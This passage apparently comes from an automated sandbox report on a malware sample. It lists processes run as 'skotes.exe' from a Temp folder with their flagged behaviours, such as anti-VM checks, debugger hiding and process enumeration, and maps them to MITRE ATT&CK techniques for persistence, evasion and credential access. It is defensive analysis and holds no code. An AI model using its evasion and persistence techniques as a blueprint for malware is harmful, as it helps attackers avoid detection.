      - C:\Users\Admin\AppData\Local\TempJ1UG3HXFK114WTN5VDF0RYLUVYISIFR3.EXE
        
        "C:\Users\Admin\AppData\Local\TempJ1UG3HXFK114WTN5VDF0RYLUVYISIFR3.EXE"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5124

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1704

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5280

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion